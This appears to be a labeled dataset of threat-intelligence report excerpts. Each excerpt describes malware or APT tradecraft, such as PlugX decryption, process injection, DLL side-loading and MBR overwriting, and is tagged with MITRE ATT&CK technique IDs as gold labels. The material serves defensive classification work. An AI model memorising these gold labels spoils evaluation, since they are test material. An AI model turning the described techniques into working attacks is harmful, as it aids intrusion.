"Another important conclusion we drew from analyzing the exploited vulnerability is that we now know for sure that EpMe exploits CVE-2017-0005. On top of our analysis of both the Equation Group and APT31 exploits, the EpMe exploit aligns perfectly with the details reported in Microsoft’s blog on CVE-2017-0005. And if that wasn’t enough, the exploit indeed stopped working after Microsoft’s March 2017 patch, the patch that addressed the said vulnerability.","['T1587.004 - Exploits', 'T1588.006 - Vulnerabilities', 'T1588.005 - Exploits', 'T1499.004 - Application or System Exploitation']",golden
"DeathStalker has leveraged several malware strains and delivery chains over the years, from the Python- and VisualBasic-based Janicab to the PowerShell-based Powersing and the JavaScript-based Evilnum. The actor consistently used what we call “dead-drop resolvers” (DDRs), which is obfuscated content hosted on major public web services like YouTube, Twitter or Reddit; once decoded by malware this content reveals a command-and-control (C2) server address. DeathStalker also consistently leveraged anti-detection and antivirus evasion techniques, as well as intricate delivery chains that drop lots of files to the target’s filesystems. To kick-start an infection, DeathStalker usually relies on spear-phishing emails with attachments, or links to public file sharing services, as well as script execution based on Windows shortcuts. We have identified how DeathStalker’s malware compromises in clusters or targets various types of entities in all parts of the world, with a possible focus on law and consultancy offices, as well as FINTECH companies, but without a clearly identifiable or consistent interest. The targeting does not seem to be politically or strategically defined and doesn’t appear to be the usual financially motived crime. Because of this, we conclude that DeathStalker is a cyber-mercenary organization.","['T1027 - Obfuscated Files or Information', 'T1102 - Web Service', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1059 - Command and Scripting Interpreter', 'T1598.002 - Spearphishing Attachment', 'T1598.003 - Spearphishing Link', 'T1566.002 - Phishing: Spearphishing Link', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1204.002 - User Execution: Malicious File', 'T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1204.001 - Malicious Link', 'T1204 - User Execution', 'T1566.003 - Spearphishing via Service', 'T1059.006 - Command and Scripting Interpreter: Python', 'T1566 - Phishing', 'T1588.001 - Malware', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1587.001 - Malware']",golden
"While investigating the activity, we found a CASHY200 PowerShell-based payload that communicated with windows64x[.]com. We analyzed this PowerShell script and found that its DNS tunneling protocol matched the outbound DNS requests at the Kuwait organization which were blocked by DNS Security. We will provide an analysis of CASHY200 and its DNS tunneling protocol in a later section of this blog.","['T1071.004 - Application Layer Protocol: DNS', 'T1572 - Protocol Tunneling', 'T1583.002 - DNS Server', 'T1059 - Command and Scripting Interpreter']",golden
"The infection procedure lists all directories. Then, for each directory, it creates a copy of itself in the drive root directory using the same directory name and changing the directory attribute to “hidden”. This results in all the actual directories being hidden and replaced with a copy of the malware using the same directory name.","['T1083 - File and Directory Discovery', 'T1036 - Masquerading', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",golden
"Aro.dat is, in fact, an encrypted and compressed PlugX payload. The decryption routine within Aro.dat closely resembles that of older PlugX variants (see Figure 3 below) in that it involves multiple decryption keys and bit shift operations. Once decrypted, it gets decompressed via the Windows API RtlDecompressBuffer into a Windows module (DLL). The compression algorithm is LZ compression (COMPRESSION_FORMAT_LZNT1).","['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information', 'T1106 - Native API', 'T1027.002 - Obfuscated Files or Information: Software Packing']",golden
"The two variants of Helminth do require different delivery methods, with the script variant relying on an Excel spreadsheet for delivery, while the executable variant is more traditional in the fact that it can be installed without a delivery document. We speculate that the executable variant involves threat actors socially engineering the victim into running the payload, rather than installing the payload as the result of successful exploitation of a vulnerability. The multiple delivery methods suggest this threat group is capable of adapting their procedures to suit the current operation in the overarching campaign.","['T1204 - User Execution', 'T1204.002 - User Execution: Malicious File', 'T1204.001 - Malicious Link']",golden
The services simply call mshta.exe to download an HTML application that downloads and runs the same cryptominer loader.,"['T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1105 - Ingress Tool Transfer']",golden
"DeathStalker hides strings in Word embedded shape and object (OLE packages) properties, like the “hyperlink” property, to obfuscate the malicious execution workflow, as well as reconstruct and execute commands or scripts.","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading']",golden
Some malicious documents that we managed to retrieve contained a social engineering banner asking users to enable macros execution. This explains how the malicious logic from the macro-based delivery chain could actually be triggered when macros are disabled by default on most modern Office settings.,"['T1204.002 - User Execution: Malicious File', 'T1204 - User Execution']",golden
"In order to terminate some of these processes and services, DopplePaymer uses an interesting technique that leverages ProcessHacker, a legitimate open-source administrative utility. This application is bundled with a kernel driver that can be used to terminate processes and services. DoppelPaymer is bundled with six portable executable (PE) files that are encrypted and compressed in the malware’s sdata section. These PE files contain 32-bit and 64-bit versions of the following:","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1489 - Service Stop', 'T1562.001 - Impair Defenses: Disable or Modify Tools']",golden
"The main payload is encrypted and packed inside the .tls section of the second stage injector. It first gets decrypted and then unpacked with the aPLib compression library. As persistence method, the main payload copies the initial loader to the AppData folder and creates a Jscript file inside the Startup folder which points to it. The second stage injector injects the main payload inside a x86 instance of svchost and patches its API function calls with an obfuscation technique to make static and dynamic analysis of the malware more difficult.","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1027.002 - Obfuscated Files or Information: Software Packing', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1055 - Process Injection', 'T1036 - Masquerading', 'T1055.012 - Process Injection: Process Hollowing', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",golden
"The TwoFace loader parses the HTTP POST requests issued by the actor and references data at specific locations, more specifically at certain indexes within the posted data (C# “Request.Forms”) that the shell will use to determine the functionality the actor wishes to execute. While we did not have logs of HTTP requests for the loader shell, we were able to determine some of the indexes that the webshell will specifically access within the data. Table 2 shows the known indexes within the HTTP POST data that TwoFace references.","['T1071 - Application Layer Protocol', 'T1071.001 - Application Layer Protocol: Web Protocols', 'T1105 - Ingress Tool Transfer']",golden
"Starting in mid-December 2020, malicious actors that Mandiant tracks as UNC2546 exploited multiple zero-day vulnerabilities in Accellion’s legacy File Transfer Appliance (FTA) to install a newly discovered web shell named DEWMODE. The motivation of UNC2546 was not immediately apparent, but starting in late January 2021, several organizations that had been impacted by UNC2546 in the prior month began receiving extortion emails from actors threatening to publish stolen data on the “CL0P^_- LEAKS"" .onion website.",['T1505.003 - Server Software Component: Web Shell'],golden
We confirmed RGDoor installed correctly into IIS by checking the HTTP Modules display in IIS Manager. Figure 2 shows the RGDoor DLL (HTTPParser.dll) was loaded into IIS using the module name HTTPParser.,"['T1036 - Masquerading', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1505.004 - IIS Components']",golden
"The end result is a legitimate, though outdated (version 11, compiled on September 17, 2018, at 10:30:12 UTC), TeamViewer instance hijacked by a malicious sideloaded DLL (MINEBRIDGE).","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036 - Masquerading', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1219 - Remote Access Software', 'T1588.002 - Tool', 'T1055.001 - Process Injection: Dynamic-link Library Injection']",golden
"On April 24, 2017, a fourth IP address, this one apparently in the United States, issued 61 commands to the TwoFace webshell. Like the previous set of commands issued in March 2017 from France, this IP address issued the command to obtain objects in the Exchange Trusted Subsystem group, and it appears the actor copied over yet another webshell named “global.aspx” and set the file’s attributes to be hidden using the following command:","['T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer', 'T1564.001 - Hide Artifacts: Hidden Files and Directories']",golden
"Once the decrypted payload runs in memory, it exhibits the same behaviors as previous PlugX implant variants. It starts by decrypting the embedded PlugX hardcoded configuration settings. The decryption algorithm and XOR keys are fairly consistent across multiple PlugX implants. Code behavior closely resembles that of the RedDelta PlugX that’s been reported by Insikt Group. One noticeable difference with this sample compared to all the other known PlugX malware families is the magic number check performed during the initialization of the PlugX plugins. Historically, that number has always been 0x504C5547, which corresponds to the PLUG value in ASCII encoding. In this sample, the magic number is 0x54484F52, corresponding to the THOR value in ASCII encoding.","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",golden
"BokBot has several executable modules that can be downloaded and injected into a svchost.exe child process. Once the relevant DAT file is decoded using RC4, no additional decoding or decompression is necessary for the executable module DAT files. The executable module header contains information necessary to ID the module:","['T1055 - Process Injection', 'T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1055.003 - Thread Execution Hijacking']",golden
"The decrypted payload belongs to the malware family POISONPLUG (MD5: 84b69b5d14ba5c5c9258370c9505438f). POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded command and control commands.","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1112 - Modify Registry', 'T1543.003 - Create or Modify System Process: Windows Service', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1569.002 - System Services: Service Execution', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",golden
"The evolution of the reflective DLL injection technique can be found from the relevant PDB paths, and there are a lot of variants of this series of backdoors.","['T1055 - Process Injection', 'T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1620 - Reflective Code Loading']",golden
"Our Ramnit sample exploits both CVE-2013-3660 (by PlayBit) and CVE-2014-4113 (using the same exploit code originally found as a 0-Day). The original exploit for CVE-2014-4113 was part of an exploit framework in which the API passes a command-line argument, and that command is executed as SYSTEM. As that wasn’t the original API for PlayBit’s exploit, some adjustments were made and PlayBit’s exploits were re-adjusted to receive a command-line argument to be executed once elevated.","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution']",golden
"In total, we observed three variations of CMSTAR in these recent attacks against Belarusian targets. The biggest change observed between them looks to be minor modifications made to the string obfuscation routine. A very simple modification to the digit used in subtraction was modified between the variants, as shown below:","['T1027 - Obfuscated Files or Information', 'T1587.001 - Malware']",golden
"After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"The lure documents captured in this attack are in Yiddish[1] The attackers exploit office with OLE autolink objects (CVE-2017-0199) to embed the documents onto malicious websites. All the exploits and malicious payload were uploaded through remote servers. [1]The language is automatically identified by Google Translate  _Notification in the pop-up window: _ Links to this document may reference other files. Do you want to update this document with the data in the linked file? Once victims opened the lure document, Word will firstly visit a remote website of IE vbscript 0day (CVE-2018-8174) to trigger the exploit. Afterwards, Shellcode will be running to send several requests to get payload from remote servers. The payload will then be decrypted for further attack. While the payload is running, Word will release three DLL backdoors locally. The backdoors will be installed and executed through PowerShell and rundll32. UAC bypass was used in this process, as well as file steganography and memory reflection uploading, in order to bypass traffic detection and to complete loading without any files. The main process of the attack is shown in the following figure:","['T1203 - Exploitation for Client Execution', 'T1140 - Deobfuscate/Decode Files or Information', 'T1059 - Command and Scripting Interpreter', 'T1027 - Obfuscated Files or Information', 'T1102 - Web Service', 'T1204.002 - User Execution: Malicious File', 'T1036 - Masquerading', 'T1204 - User Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1204.001 - Malicious Link', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control']",golden
"The hooking of IofCallDriver is implemented in a relatively unconventional way. The hook unwinds the execution stack; if it finds any driver in the stack which is not in the rootkit’s allowlist, and that driver attempts to read certain files, a fake “reading successful” status is returned. However, the file is not actually read.","['T1057 - Process Discovery', 'T1014 - Rootkit', 'T1518.001 - Software Discovery: Security Software Discovery']",golden
"The execution flow of GandCrab 2 is inherited from GandCrab 1 (pictured), and can be roughly divided into three parts: housekeeping (appears in the diagram as teal), C&C Communication (green), actual encryption (yellow) and final housekeeping (teal again). This execution flow proceeds as follows:",['T1486 - Data Encrypted for Impact'],golden
"Each target country is assigned its own operator, who is able to take advantage of local cultural features – for example, the tendency to use personal email accounts for work. They also made use of a specific proxy server within a country’s borders, to manage connections to infected computers and transfer data to the attackers’ Command-and-Control (C2) servers.","['T1090 - Proxy', 'T1090.002 - External Proxy']",golden
"Throughout January 2020, FireEye has continued to observe multiple targeted phishing campaigns designed to download and deploy a backdoor we track as MINEBRIDGE. The campaigns primarily targeted financial services organizations in the United States, though targeting is likely more widespread than those we’ve initially observed in our FireEye product telemetry. At least one campaign targeted South Korean organizations, including a marketing agency.","['T1105 - Ingress Tool Transfer', 'T1598.002 - Spearphishing Attachment', 'T1598.003 - Spearphishing Link', 'T1566.002 - Phishing: Spearphishing Link']",golden
"Now that we have the decrypted AES key, we can decrypt the actual payload. The Flash downloader uses a custom initialization vector (IV) for the AES algorithm which can be found at offset 0x44 in the encrypted blob and is 16 bytes long:","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",golden
"Unlike previously identified RedDelta PlugX samples, this one uses a legitimate Avast Proxy executable for the second DLL side-loading phase rather than the legitimate Adobe executable used in previously analyzed samples. When loaded into memory, the PlugX payload uses www.systeminfor[.]com for command and control — the same domain used across the Catholic church-themed PlugX samples. Across all four newly analyzed samples, the first stage DLL loader files share an identical, uncommon import hash and rich header with previously observed first stage RedDelta PlugX DLLs. The loaded PlugX payload also matches the custom RedDelta PlugX variant previously described, using RC4 encryption for C2 communications with the same hardcoded RC4 passphrase and configuration block decoding function.","['T1573 - Encrypted Channel', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036 - Masquerading', 'T1104 - Multi-Stage Channels']",golden
"In February 2019, Unit 42 found that a yet-to-be-known threat actor — unbeknownst to the infosec community — discovered that the second unpatched vulnerability can not only exploit VirtualBox VBoxDrv.sys driver v1.6.2, but also all other versions up to v3.0.0. Furthermore, our research shows that this unknown actor exploited VirtualBox driver version 2.2.0 to target at least two different Russian organizations in 2017, which we are revealing for the first time. We anticipate this was done because the driver version 2.2.0 wasn’t known to be vulnerable and thus most likely is not on the radar of security companies being exploited. Since no other victims have been found, we believe this is a very rare malware used in targeted attacks only.","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution', 'T1588.006 - Vulnerabilities', 'T1211 - Exploitation for Defense Evasion', 'T1588.005 - Exploits']",golden
"This attack consisted of maldocs masquerading as internal government or military documents. For example, some of the maldocs discovered by Talos masquerade as Indian Air Publications (IAP) documents dictating safeguard procedures for the IT infrastructure of the Indian Air Force (IAF). These documents are aptly named:",['T1036 - Masquerading'],golden
"After the bootstrap is finished, the exploit triggers a call to the NtGdiBitBlt syscall. This initiates a chain of events in the Windows kernel and eventually passes the flow back to our user-mode callback (DrvBitBlt()) registered by our UMPD. Here lies the heart of the exploit.","['T1068 - Exploitation for Privilege Escalation', 'T1106 - Native API']",golden
"When initiated, the Python code attempts to retrieve and use SOCKS/HTTP proxy settings from the victim’s computer. The Python code then tries to initiate a reverse connection to the C2 server (139.59.46[.]154:3543) using a TCP protocol with RSA+AES traffic encryption and obfs3 transport using default keys from Pupy sources.","['T1573 - Encrypted Channel', 'T1095 - Non-Application Layer Protocol', 'T1090 - Proxy', 'T1573.001 - Symmetric Cryptography', 'T1571 - Non-Standard Port', 'T1090.001 - Proxy: Internal Proxy', 'T1001 - Data Obfuscation']",golden
"To gather credentials and facilitate lateral movement, ransomware deployment, the operators used PowerShell to recursively search the file system for logon credentials stored in text files and spreadsheets. The PowerShell tool ""SessionGopher"", capable of extracting session information from remote access tools, such as WinSCP, PuTTY, FileZilla and more, was also used enabling RDP and the Microsoft Sysinternals utility PsExec to allow lateral movement.","['T1003 - OS Credential Dumping', 'T1555 - Credentials from Password Stores', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1021 - Remote Services', 'T1005 - Data from Local System', 'T1552.001 - Unsecured Credentials: Credentials In Files']",golden
"The platform is started by the kernel mode driver component (“msndsrv.sys” on Windows 2000 or above and “mssvc32.vxd” on Windows 9x). The driver then waits for the system to start and initiates execution of the user-mode loader “mscfg32.exe”. The loader then starts the platform’s central module (an orchestrator) from the “mscfg32.dll” module. Additional drivers and libraries may be loaded by different components of the platform, either built-in or auxiliary.","['T1543.003 - Create or Modify System Process: Windows Service', 'T1106 - Native API']",golden
In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name “LocalSMS.dll”. This downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A.,"['T1036 - Masquerading', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1027.002 - Obfuscated Files or Information: Software Packing', 'T1105 - Ingress Tool Transfer']",golden
"Here is the script hosted on Pastebin: Reflective loader downloaded from pastebin.com The script executes a hardcoded PE file located — Gandcrab —at the end of the script using a reflective DLL-loading technique. In addition to the ransomware, we identified another actor trying to execute a Monero miner on the vulnerable server with China Chopper:","['T1102 - Web Service', 'T1620 - Reflective Code Loading']",golden
"Ryuk uses a rather basic injection technique, whereby it first gets a handle on the target process using OpenProcess and allocates a buffer in its address space using VirtualAllocEx. The allocated buffer would have the size of the malware’s image and would be required to be positioned at the same base address.","['T1106 - Native API', 'T1055 - Process Injection', 'T1055.002 - Process Injection: Portable Executable Injection']",golden
"The following figure shows the content of the downloaded shell script sh. Upon execution, the sh script downloads different architectures of DDoS bot, and runs the downloaded binaries. None of the malwares was available on Virustotal at the time of our discovery, however many of them were uploaded to Virustotal not long after. More and more attack traffic are being detected at the time of writing, indicating that many devices are probably infected already.","['T1059 - Command and Scripting Interpreter', 'T1059.004 - Command and Scripting Interpreter: Bash', 'T1587.001 - Malware']",golden
"2.      The “set key” handler is used for accepting the victim ID, a random string with six characters, assigned by the C&C server. It will be attached in each of commands sent from the server and will also be used as the folder name on a cloud storage service to save the stolen data. The victim ID will be stored in the “bps.key” file.","['T1041 - Exfiltration Over C2 Channel', 'T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage']",golden
"We observed previous, somewhat similar spearphishing scenarios with an archive containing .LNK, .docx, and base64 encoded executable code, delivering offensive Finfisher objects in separate intrusion activity clusters. This activity was not Sofacy, but the spearphishing techniques were somewhat similar – the layered powershell script attachment technique is not the same, but not altogether new.","['T1566.001 - Phishing: Spearphishing Attachment', 'T1598.002 - Spearphishing Attachment', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",golden
"Out of all the modules used in this attack, Filesystem.dll might be the only one whose code was actually written by the attackers themselves. The purpose of this module is to enumerate drives, folders and files on the infected system and write the final results to two text files: Drives.txt and Files.txt.","['T1083 - File and Directory Discovery', 'T1074.001 - Data Staged: Local Data Staging']",golden
The persistence is guaranteed by a method that is called when the program is closing. It checks if the malware directory exists as specified in an embedded configuration and then copies the malware executable inside it. It also creates a registry key under “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” to execute the worm automatically.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547 - Boot or Logon Autostart Execution']",golden
"Assuming the weaponized document’s macro code has executed the encoded, heavily obfuscated JScript code will be saved to disk and executed. One of the first behaviours observed is that of a fake error message box, such as the example in Figure 25. Message text varies but follows a theme of reporting something seemingly legitimate failed to run – another false sense of security for the victim.","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading', 'T1204.002 - User Execution: Malicious File', 'T1204 - User Execution', 'T1059.007 - Command and Scripting Interpreter: JavaScript']",golden
"During our analysis, we identified follow on POST requests containing screenshots of the compromised desktop and process activity lists which were encrypted and appended to a false JPEG header as described previously.","['T1113 - Screen Capture', 'T1140 - Deobfuscate/Decode Files or Information', 'T1057 - Process Discovery', 'T1071.001 - Application Layer Protocol: Web Protocols']",golden
"To enable lateral movement, the adversary uses ping and nslookup commands, in addition to scanning the environment for Windows systems listening on port 445. This is done using a simple port scanning binary unique to PROPHET SPIDER, typically named pscan or pscan2. For example, process logging may reveal similar commands to the below. Note the commands are executed by the oracle user account, which is the user that runs WebLogic. In multiple PROPHET SPIDER cases, CrowdStrike observed a reverse shell binary located at /var/tmp/[filename], which launches bash as a child; and the pscan2 command is a child to bash. The reverse shell is a child to PID 1, which indicates it was either executed via an init script created for persistence, or its parent was terminated causing it to become a zombie process that was reaped by the init daemon.","['T1018 - Remote System Discovery', 'T1059 - Command and Scripting Interpreter', 'T1049 - System Network Connections Discovery', 'T1059.004 - Command and Scripting Interpreter: Bash', 'T1046 - Network Service Discovery', 'T1021.002 - Remote Services: SMB/Windows Admin Shares']",golden
"Cardinal RAT is deployed using an interesting technique of compiling and executing a downloader via a malicious macro embedded within a Microsoft Excel file. The Excel files themselves contain lures that have financial themes. This threat has had a low volume of samples in the past two years, with 11 instances of Carp Downloader and 27 instances of Cardinal RAT observed. Palo Alto Networks customers are protected by these threats in the following ways:","['T1105 - Ingress Tool Transfer', 'T1204 - User Execution', 'T1204.002 - User Execution: Malicious File', 'T1203 - Exploitation for Client Execution']",golden
"The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous Dimnie targeting tactics. Multiple factors have contributed to Dimnie’s relatively long-lived existence. By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders’ assumptions about what normal traffic looks like. This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown.","['T1105 - Ingress Tool Transfer', 'T1132 - Data Encoding', 'T1027 - Obfuscated Files or Information']",golden
"During the execution of subsequent instructions, a call to the 0x10001D9A function is made. This function has a loop located at offset 0x10001E4D and performs several operations. One of these operations is a 1-byte XOR instruction (xor byte ptr [esi+ecx], al) located at offset 0x10001E4D. Its purpose is to decrypt a total of 110591 bytes of the executable’s resource data where the PE binary data is stored. The final result is an in-memory reconstructed executable file. In Figure 19, the encrypted and decrypted data in the process’s memory can be seen.",['T1140 - Deobfuscate/Decode Files or Information'],golden
"Agent ORM began circulating alongside Sekur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).","['T1105 - Ingress Tool Transfer', 'T1113 - Screen Capture', 'T1082 - System Information Discovery', 'T1119 - Automated Collection', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1005 - Data from Local System']",golden
"In this sense, APT3 crafted its own exploit from other exploits – a tactic very similar to one used by the Equation group. As this threat group also uses the name UPS team, we decided to name their version of the exploit bundle UPSynergy.","['T1068 - Exploitation for Privilege Escalation', 'T1588.005 - Exploits', 'T1587.004 - Exploits']",golden
"First, the module checks if it is running in a target process name and (if specified) by the target username. If the module or user names do not match, the thread terminates.","['T1033 - System Owner/User Discovery', 'T1057 - Process Discovery', 'T1087 - Account Discovery', 'T1480 - Execution Guardrails']",golden
SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.,['T1571 - Non-Standard Port'],golden
"The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.",['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"But even more curious were the names of malicious drivers in this list, which if found could indicate that the target system has already been compromised by another attacker, and would then warn the operators to “pull back”. Another pivotal component in the Equation Group’s arsenal that is in charge of such checks is called “Territorial Dispute”, or “TeDi”.","['T1083 - File and Directory Discovery', 'T1082 - System Information Discovery', 'T1480 - Execution Guardrails']",golden
"In recent OilRig attacks, the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks. Earlier OilRig attacks appear to use fake job offers as a social engineering theme. The campaign appears highly targeted and delivers a backdoor we have called ‘Helminth’. Over the course of the attack campaign, we have observed two different variations of the Helminth backdoor, one written in VBScript and PowerShell that was delivered via a macro within Excel spreadsheets and the other a standalone Windows executable.","['T1598.003 - Spearphishing Link', 'T1598.002 - Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link', 'T1566 - Phishing', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1598.001 - Spearphishing Service', 'T1036 - Masquerading']",golden
This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe. The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt.,"['T1056 - Input Capture', 'T1056.001 - Input Capture: Keylogging', 'T1074.001 - Data Staged: Local Data Staging', 'T1074 - Data Staged']",golden
"We observed another campaign targeting an organisation located in Lebanon. While our first case describes a targeted campaign with the goal to exfiltrate data affecting internal servers, this one is the opposite: an auxiliary public web site compromised by several attackers for different purposes. We identified actors trying to deploy ransomware on the vulnerable server using China Chopper. The first attempt was Sodinokibi ransomware:","['T1102 - Web Service', 'T1584.006 - Web Services', 'T1584.004 - Server']",golden
"Finally, the Phorpiex VNC worm executes several scripts on a victim’s machine by simulating keyboard input using VNC protocol. First it enters Win+R to open the “Run program” window. Then it “enters” the script contents by sending the corresponding VNC packets:","['T1059 - Command and Scripting Interpreter', 'T1021.005 - Remote Services:VNC', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",golden
"The second functionality enabled in this sample that had not been observed in previous Thanos variants involved the ability to overwrite the master boot record (MBR). Once the code checks to see if the operating system version is not “Windows 10” or “Windows 8,” the code will attempt to open “\\.\PhysicalDrive0” and write a 512-byte string to offset 0. The byte array that is written to offset 0 of “\\.\PhysicalDrive0” initially has a ransom message of “Your files are encrypted. Contact us at: get-my-data@protonmail.com…”, but the code will replace this string with the following string before writing to disk:","['T1485 - Data Destruction', 'T1561.002 - Disk Structure Wipe', 'T1082 - System Information Discovery']",golden
"In several instances, UNC215 used the same exact file against multiple victims and frequently shared infrastructure across victims. This lack of compartmentalization is not uncommon, but does show that UNC215 is relatively less concerned about the ability for their compromises to be linked to each other. C2 servers used by UNC215 frequently reuse the same SSL certificate, as described in Team Cymru’s research in 2020. On one network, between April 2019 and April 2020, an operator repeatedly and infrequently revisited a compromised network whenever an Endpoint Detection and Response (EDR) tool detected or quarantined tools like HYPERBRO and Mimikatz. After several months of repeated detections, UNC215 deployed an updated version of HYPERBRO and a tool called “anti.exe” to stop Windows Update service and terminate EDR and Antivirus related services.","['T1102 - Web Service', 'T1518.001 - Software Discovery: Security Software Discovery']",golden
"The embedded SWF decrypted contains ActionScript that attempts to exploit a vulnerability. The purpose of aforementioned version check is to make sure that the correct malicious ActionScript is executed to exploit a vulnerability that the Flash player is vulnerable to. Table 1 shows the range of Flash player versions within DealersChoice.A, the embedded SWF file loaded and the associated vulnerability exploited by the loaded SWF.","['T1203 - Exploitation for Client Execution', 'T1068 - Exploitation for Privilege Escalation']",golden
"Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.","['T1041 - Exfiltration Over C2 Channel', 'T1486 - Data Encrypted for Impact', 'T1020 - Automated Exfiltration']",golden
"In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1587.001 - Malware']",golden
"If an encrypted command arrives from the C&C, it is decrypted using RC4. The source domain name is used as the decryption key. Once the C&C command has been executed, a [Tasks] section will be created in config.ini; this is a logall actions performed by the bot.","['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information', 'T1573 - Encrypted Channel', 'T1573.001 - Symmetric Cryptography']",golden
"To make sure the malware is executed after reboot, Ryuk uses a straight forward persistence technique, whereby it writes itself to the Run registry key using the following command:","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1112 - Modify Registry', 'T1547 - Boot or Logon Autostart Execution']",golden
"It also searches for directories with names “.Backup0D” – “.Backup0M”, and for each directory, removes contained files named “target.lnk” and “desktop.ini” and the directory itself. These directories are also created during the Gauss USB infection.",['T1083 - File and Directory Discovery'],golden
"Gather all system information using the ""systeminfo"" command and record to a file: cmd.exe /c systeminfo >>""%s"" where %s = <file_path>.","['T1082 - System Information Discovery', 'T1074.001 - Data Staged: Local Data Staging', 'T1074 - Data Staged', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059 - Command and Scripting Interpreter']",golden
